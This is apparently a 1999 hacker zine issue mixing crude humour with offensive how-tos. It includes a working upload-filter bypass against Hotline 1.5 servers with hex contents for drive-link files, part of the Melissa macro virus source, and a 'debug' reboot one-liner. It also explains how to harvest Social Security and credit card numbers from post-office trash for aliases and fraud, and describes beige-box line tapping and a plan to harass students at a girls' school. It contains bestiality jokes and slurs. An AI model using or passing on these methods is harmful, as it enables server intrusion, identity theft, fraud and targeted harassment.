|=|=|=|========================================|=|=|=|||||||||||_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|||||||||||PFC -- Pig Fuckers Corner -- PFC -- Pig Fuckers Corner-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_VOLUME #1 www.angelfire.com/co/SixToed ISSUE #6 04/99[][][][][][][][][][][][][][][][[]()()()()()()()()()()()()()()()()()()I have scabies. My dog gave them to me. They burrow into your skin and lay maggot like eggs in you then they breakout of you skin causing huge blisters and bloody soars. I also think they eat your skin before they emerge. Mine haven't broken they skin yet, but I am hoping they will soon, I am tired of waiting to take pictures. Once my friend said that there was "some kid" who had sex with a cat. I was like "wholey shit!". Then I proceded to asked him how the cat was so willing to be the village whore. Then this friend of mine told me that the cat "just thought it was his finger." I dont know if your cats liked to be fingered, but that seems a little to0 porno for a common house cat. This lead me to believe that he was either lying, or he actually fingered his cat or tried to have sex with it.******************************************\Aight bitchasses it's been a long long time without pig fucking so this issue is plentiful.I think we HAVE LOST TOUCH WITH WHAT THE PFC was designed to be. It was DESIGNED TO BE A CRACK WHORE ZINE supported by pig fucking and bad ass ASSKEY. So in THIS issue YOU will FIND more DARK corners WITH people FUCKING pigs AND shitty ASSKEY.@#%^)_*+)(_++(&&^#&&#)&&#)*&$)_*)(&#)(+(*_+++(_)#ch3ck th1s sh1t 0u7 k1d5.-Post Office @ 2am?-your d1r7y cunt-Stupid fone-men-())======\ >-Private all girls school.-Tales From the Phreak¶ˇ ¥πª∫åÁÁº·°‡ˇ·‚Á–º ب·‚¥‡Y)∏·‚‡º∏ˆ¨∏‚¨Áº∏•¨Ô∏ب‚‡¨·=============DO YOU GET MAIL @ 2 AM???============IT STARTS WITH THE WIND. THE NIGHT SKY IS A PASTY DARK BLUE/GRAY, COLD TO THE TOUCH--HURTS TO BREATHE. THEN YOU FEEL IT. IT HITS YOU WITH THE FORCE OF A TRAIN. SCREAMING AND TEARING AT THE WALLS YOU ARE PULLED IN. INTO THE POST OFFCE.LITTLE DO PEOPLE KNOW THAT THE POST OFFICE GARBAGE CANS ARE A MECA OF GOODIES. FOR SOME REASON PEOPLE FEEL JUST BECAUSE THEY THROW THEIR MAIL AWAY, OR RIP IT IN TWO THAT IT MAGICALLY LOSES ALL OF IT'S MATTER BECOMING ENERY TO POWER THE UNIVERSE. ACTUALLY, THEIR MAIL ENDS UP IN OUR HANDS...WE MAKE FREQUENT STOPS TO THE POST OFFICE LATE AT NIGHT TO GET OUR MAIL. FINDING EXCELLENT PRIZES AND GOODIES THAT NORMAL FOLK JUST DON'T SEEM TO WANT. IF IT BE FROM THEIR MACY'S CHARGE CARDS, TO STICKERS, TO CD'S TO SOCIAL SECURITY NUMBERS, TO OTHER PERSONAL INFO WE GET IT. THE LIKELIHOOD THAT WE USE THIS STUFF IS SLIM, BUT HERE ARE SOME GOOD THINGS YOU MAY FIND AND WHAT TO DO WITH THEM.ALIASES - EVERYONE NEEDS A GOOD ALIAS. IF IT BE TO PROTECT THEIR REAL IDENTITY (DUH) ON THE INTERNET OR FROM THE AUTHORITIES ALIASES ARE ALWAYS GOOD. WHEN CHOOSING AN ALIAS BE SENSABLE, BUT NOT TO CONSERVATIVE. CHOOSE A DESCRIPTION THAT DOESN'T MATCH YOU, BUT IS ROUGHLY THE SAME AGE AND SEX AS YOURSELF. ALSO MAKING YOUR ALIAS AN ACTUAL PERSON IS HELPFUL, UNLESS YOU PLAN TO USE IT FOR A PICTURE ID OF SOME SORT. IF YOU ARE DOING THIS FOR A PICTURE ID THEN IGNORE ALL THAT OTHER STUFF I SAID. THESE ARE SOME THINGS YOU SHOULD HAVE FOR YOUR ALIAS:-SOCIAL SECURITY NUMBER (IF POSSIBLE. YOU CAN MAKE ONE OF THESE UP USING THE SOCIAL SECURITY ARTICLE IN VOLUME 15 ISSUE 2 OR 3 OF 2600)-NAME-AGE (NOT NECESSARY BUT GOOD TO KNOW AND HAVE)-GENDER-OCCUPATIONS, INTERESTS ETC.-PLACE OF WORK(NOTE: YOU CAN GET ALL THE INFO FOR A NEW ALIAS OUTTA THE TRASH)AND SO ON... IF YOU ARE USING THIS ALIAS FOR USE ON THE INTERNET I SUGGEST WRITING THIS SHIT DOWN. LIKE IN A MS OFFICE WORD FILE AND PASSWD IT, OR USE PGP, YOU GET THE IDEA.CREDIT CARDS - THESE ARE NOT ALWAYS FOUND IN THE TRASH BUT SOMETIMES ARE AND IT IS A GOOD FIND NONETHELESS. MOST OF THE TIME THESE AREN'T REGISTERED OR VALID UNTIL YOU CALL AND VERIFY THEM, BUT OTHER TIMES THEY DO WORK YAY! IF YOU ARE NOT INTO FRAUD THEN THEY ARE GOOD FOR SPREADING CREAM CHEESE ON YOUR PENIS OR UNLOCKING DOORS TO HOUSES ETC.CURRANCY - NOW WE HAVE ONLY FOUND THIS ONCE AND IT WAS A FUCKING RUSSIAN RUBAL FOR SHIT SAKES!%^%#@ I THINK IT WAS ONLY WORTH LIKE .00124 IN AMERICAL DOLLARS BUT IT WAS DOPE TO FIND IT. IF YOU DONT KNOW RUSSIA IS FULL OF COMMIE BASTARDS WHO ARE POOR AS DIRT AND THEY CANT AFFORD RICH COUNTERFITTING TECHNIQUES THAT WE USE SO YOU MIGHT BE ABLE TO PUT RUSSIA INTO THE RED (PUN INTENDED) EVEN MORE... ROB THEM BLIND!COMPAQ DISKETTES - FREE SOFTWARE WITHOUT THE LONG DOWNLOAD TIME. NUFF SAIDSTICKERS - CREATIVE VANDALISM. MOST OF THE TIME IF YOU FIND SOME STICKERS THAT MEANS THEY WERE MASS MAILED AND EVERYONE THROUGH THAT SHIT AWAY. SO GET TO IT! ONCE WE TOOL A HUGE SHEET OF STAMPS FROM COLUMBIA HOUSE AND PUT IT ON THE WINDOW OF A PHONE BOOTH. IT WAS SOO RAD, NO. *T*O&DF(*PEYTPIJOE==============================================ok whats the deal?!?! adobe thinks its "cool" to make it a pain in the ass to warez their photoshop 5 software... it's like fuck that. I'd rather fuck a pig.=============================================={|||||||||=====================000000000===-!!!!!!!!!!HOTLINE 1.5 Still being p1mp3d by c.lnk's bitchasses@#$%^&*//////////=============================\\\\\\\\\\\\\\\\Yah since haxoring and craxoring hotline is the r33test thang in the world i thought PFC would cover some of the new shitz that plague hotline and it's 2 million users. Many moons ago while i was in you dady's bed being victimized i was thinking about hotline and how it was shitty that mac users couldn't r33k havok on pc servers anymore with that dope awesome c.lnk etc.... So i cried and pouted while being hurt by dady. Later after recouperating from that wonderful ass check it was brought to my attention Drop Dead Bacon that windowz machines running server 1.5 are still being fucked. And this is how it works... It is quite simple really. In order to fool the shitty programmers at HL Ltd all you need to do is change the name of the .lnk file you are uploading. EXAMPLE: "c.lnk" would become "c.lnk " or c.lnk." THis is why this werx. Hotline server checks the name of the uploading file and compairs it to an array of names in it's code that it will either allow or disallow to be uploaded. So when you upload "c.lnk " it checks it against "x.lnk" etc and it notices they are not the same so it is allowed to be uploaded. Then windows goes hey what tha fuck is up with this file name? Windows doesn't allow (to my knowledge atleast in hotline) file names to contain empty spaces at the end of their name, or .periods without a file extension in them. So after the upload is complete windowz looks at "c.lnk " or "c.lnk." and changes them to "c.lnk". And there you go you have successfully uploaded a link to their hard drive and now you have access to all of their shit.NOTE: THis also works with links to other drives, IE: a.lnk etc... But if you rename the "c.lnk" to "a.lnk" it will still be the same drive link.(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)HELP HELP!!! I DONT HAVE ACCESS TO A C.LNK WHAT SHOULD I DO?(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)I f1gur3d that some of you kids reading this don't have a .lnk file for 31337 haxoring on hotline so this is how to make on your MACINT0SH!@#$What you will need:-Super Resedit 2.1.3+ with Forker Extension-This Text-Half a brain-MacintoshThis is how you do it...1.) Open Resedit and under the File menu select "New". This can be done via "command+n". When this is done it will ask you where you want to save this new resource and what to name it. Name it "c.lnk"2.) When the new resource opend up it will automaticly create a DataFork, and open that resource. Now copy and select this fallowing Hexidecimal Code:"4C0000000114020000000000C0000000000000460B000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002F0014001F00E04FD020EA3A6910A2D808002B30309D190023433A5C0000C013100000000000A0800900000000316C0000390000001C000000010000001C0000003400000000000000380000001800000003000000DB104817100000005043204449534B00433A5C000005002E2E5C2E2E"Now if you are a dumbass, DO NOT COPY THE QUOTATION MARKS!@$^%# Then paste in the code into the data fork, then close the data fork resource.3.) Now under the Resource menu select "Create New Resource" or type "command+k".4.) A list of resources you can choose should pop up... Scroll down until you get to the "RMAP" resource, select it and press OK.5.) Open up the new RMAP resource you created and enter the fallowing information:Where it says 'Map To:' "TEXT" <---You enterWhere it says 'Editor Only?' "0" <---You enter NOTE: That is a zero not an O.NOTE: I dont believe you need the "RMAP" resource but i haven't tried without it.6.) Close the resource up, quit Resedit and you have yourself a new c.lnk.To make links for other drives copy the fallowing hex code and fallow the above steps:d.lnk Hex Code: "4C0000000114020000000000C00000000000004603000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002F0014001F0FE04FD020EA3A6910A2D808002B30309D190023443A5C0000403C1F0000000000609F07000000000DEF0000510000001C000000030000001C0000002D00000031000000500000001100000003000000D7152A321000000000443A5C001F0000000200000014000000000000000000020000000000000000005C44000000000000"e.lnk Hex Code:"4C0000000114020000000000C00000000000004603000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002F0014001F0FE04FD020EA3A6910A2D808002B30309D190023453A5C0000C04C1B0000000000C08C080000000009F00000510000001C000000030000001C0000002D00000031000000500000001100000003000000DA15630D1000000000453A5C001F0000000200000014000000000000000000020000000000000000005C45000000000000"##########################################world wide web links for all to see yay yay yay yay yay blahttp://pd.cyberdream.net - ???http://www.carracho.com - Hotline are the bitches... carrahco is the pimpwww.phreaker.org - web master is Lupus Gentry check ithttp://h4ck0p.blackout.org - sir talonz web sitewww.fontfreak.com - duhwww.hackernews.com - duhwww.2600.com - 2600 mag web sitejambo.blackout.org - happle web sitehttp://www.macinstein.com/ - mac only search enginewww.genocide2600.com - lots of shit.www.hack-net.com - the are giving free web space to hackers. you have to be 31337 like Six Toed to get one...#$#$#$$#$#$#$#$#$#$#$#$##$##$#$##$#$##$#$#$#$#$#$#$#$#$#$$###$#$\\********************************************//===========THE MELISSA virus Source C0d3 ==============//********************************************\\/*This code needs cleaning up and IT WILL NOT INFECT YOU*\/*IN THIS RAW CODE FORM*\Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
///----------------------------------------\\\)()()()()()()(Tales From The Phreak)()()()()()()()()()()()()\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/==========*T*A*L*E*S**F*R*O*M*E**T*H*E**P*H*R*E*A*K*by af8e4f5and we start with a quote: "Computers are like bitchs; you can't live with them, you can't live without them. and you can't ever have too many of them."i am writhing this as simon and i driving south on the 101 to phreak havok on the santa moncia bell systems. PIMP (our 1976 maxivan conversion) could not make with us on this trip but comes along in spirit. PIMP is reserved for super long distance, out of state journeys (like to def con) not puddle jumps like this one. so instead the mean gold audi 5000s is our steed to the city of angles (or what ever). we are spending 3 days of our precious spring break in lovely santa monica hackig as much shit as possible. all this driving is reminding of a story very dear to my heart. this story is about a boy growing up. but this is not your typical, old fashioned boy who grows up and becomes a hero. this is a story of a boy growing up as a phreaker. the art of phreaking is a age old tradition passed down through the generations, the only way this underground art is kept alive is through stories. stories not too unlike this one.have you ever, pissed on an electric fence, touched the third rail, or grabbed a horse fence (or for that matter) any live wire with a large amount of current running through it? well if you have you will know what i felt like in: --48 volts of pleasure and pain--simon and i had just finished one of our first beige boxes and i was the one who would be trying it out. we choose the splitter box atop the phone tree that feeds mine and most of my neighbors phone shit. the alligator clips we had used to connect the box were not coated or insulated in any way. this is a not too bad to have dun when 48 volts of pulsing DC current(well not really pulsing) running through your body on the ground, but to have 48 volts running through your body 20 feet above the ground is not a good thing. being that my hands were cold and stiff, with the combination of the electricity running through me i lost my grip on the phone tree. the only thing that kept me from plummeting to mine (and most likely simons as well) death was my phone tree instincts. these handy little things come with the package. if you become a phreaker you get phone tree instincts at no extra charge. (i think my legs were over the spikes, so i hung on by my legs, but who really cares. instincts sounded good to me.) i remember thinking that i was going to die, or something to that effect. i let out a cry of surprise wheel i dropped my four cell mag light. it landed about three feet away from simon. (at least we think that this was the time i dropped the flashlight on him. it happened more often than we would have liked it to.) it would have been real bad for his head if the mag light landed on him (four D batteries can weigh a lot.) but other than a fucked up flashlight and a unsuccessful beige box attempt every thing went well.And as we continue our dirve south we conclude tales from the phreak_______af8e4f5________echo g=ffff:0000|debug***()###()******()###()******()###()******()###()***do you ever GET BORED OF DOING the same old bullshit everydayDAY in and day OUT??? Well i got THe Quick FIX for YOU***()###()******()###()******()###()******()###()***This is a quick FIX THAT WILL MAKE the boredest OF THE BORED CHEERING! this is a list of steps that will MAKE YOU SHIT.-GET ALL YOUR FRIENDS TOGETHER. IF YOU DONT HAVE ANY FRIENDS GET A BUNCH OF HOMELESS PSYCHO'S THAT RIDE PUBLIC TRANSIT ALL DAY TO GO WITH YOU. MAKE SURE YOU GIVE THEM SOME OF YOUR CLOTHES TO WHERE. THAT IS VERY IMPORTANT.-now all pile into the back of a pickup truck or volvo wagon and drive to your nearest all girls christian school. -find a dorm with a tv room. then a few at a time walk in and start watching television with em. be nice and converse with them.-LOOK FOR THE NEAREST GAME OF TWISTER. IF YOU ARE LUCK THEN THEY WILL HAVE THE GAME OUT IN AN ACCESSABLE PLACE. THEN WHEN UPPUTY SENIOR BITCHES COME IN AND SAY "WHAT THA FUCK? ALL RIGHT GET THA FUCK OUTTA MY DORM ASSHOLES" YOU SAY "HEY, WE'RE JUST TRYING TO PLAY TWISTER... BITCH" -after this begin to verbally abuse them while your friend or local homeless gets his cammera for this opertune photo op...-at this time the nuns should be coming so leave while calling them dykes and bitches. if your friend is driving his red volvo wagon have him back over their sign and peel out, spitting dirt and pebbles at the bitches out side.-SPEED AWAY AND HAVE LOTS OF FUN.=====================================================end of mutha fucking file. check our web site athttp://www.angelfire.com/co/SixToedsimonsays pfc and af8e--- six toed.=====================================================
